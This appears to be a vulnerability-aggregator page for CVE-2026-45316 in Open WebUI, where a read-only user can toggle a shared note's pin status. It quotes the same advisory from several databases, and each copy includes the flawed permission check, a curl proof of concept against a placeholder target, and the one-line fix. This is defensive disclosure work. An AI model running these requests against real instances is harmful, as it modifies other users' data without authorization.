CVE-2026-45316
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.5
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.
- Record
CVE-2026-45316- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - Weakness
- CWE-863
- Updated
- 2026-11-02
EUVDEUVD-2026-30660
3.5
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.
- Record
EUVD-2026-30660- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jx2x-j75f-xq3j
3.5
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
- UserA creates a note
- UserA shares note with UserB with
readpermission viaPOST /api/v1/notes/{id}/access/updatewith{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
E2E Verified Result:
- Step 1: UserB reads note (READ) -> 200 OK ✓
- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
- A user with only
readaccess to a shared note can toggle itsis_pinnedstatus - This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix — change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.
- Record
GHSA-jx2x-j75f-xq3j- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - Weakness
- CWE-863
- Updated
- 2026-11-02
NVD
3.5
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.
- Record
CVE-2026-45316- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - Weakness
- CWE-863
- Updated
- 2026-11-02
OSV
3.5
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. This vulnerability is fixed in 0.9.3.
- Record
CVE-2026-45316- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - Weakness
- CWE-863
- Updated
- 2026-11-02
OSVGHSA-jx2x-j75f-xq3j
3.5
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
- UserA creates a note
- UserA shares note with UserB with
readpermission viaPOST /api/v1/notes/{id}/access/updatewith{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
E2E Verified Result:
- Step 1: UserB reads note (READ) -> 200 OK ✓
- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
- A user with only
readaccess to a shared note can toggle itsis_pinnedstatus - This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix — change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.
- Record
GHSA-jx2x-j75f-xq3j- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - Weakness
- CWE-863
- Updated
- 2026-11-02
OSVPYSEC-2026-2745
3.5
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
- UserA creates a note
- UserA shares note with UserB with
readpermission viaPOST /api/v1/notes/{id}/access/updatewith{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
E2E Verified Result:
- Step 1: UserB reads note (READ) -> 200 OK ✓
- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
- A user with only
readaccess to a shared note can toggle itsis_pinnedstatus - This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix — change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.
- Record
PYSEC-2026-2745- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
through 0.9.2 | 0.9.3 |
open-webuiPyPI |
before 0.9.3, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 45 moreShow less0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5 |
0.9.3 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | arian-gogani/enforcement-coverage | 2026-08-23 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-45316 is a low vulnerability (CVSS 3.5) in Openwebui Open Webui, published May 14, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. Fixed in open-webui 0.9.3.
References
github.com/open-webui/open-webui/security/advisories/GHSA-jx2x-j75f-xq3j
github.com/open-webui/open-webui/releases/tag/v0.9.3
nvd.nist.gov/vuln/detail/CVE-2026-45316
github.com/advisories/GHSA-jx2x-j75f-xq3j
github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45316.json
github.com/open-webui/open-webui
pypi.org/project/open-webui
Left out here: 104 versions. The JSON record has them.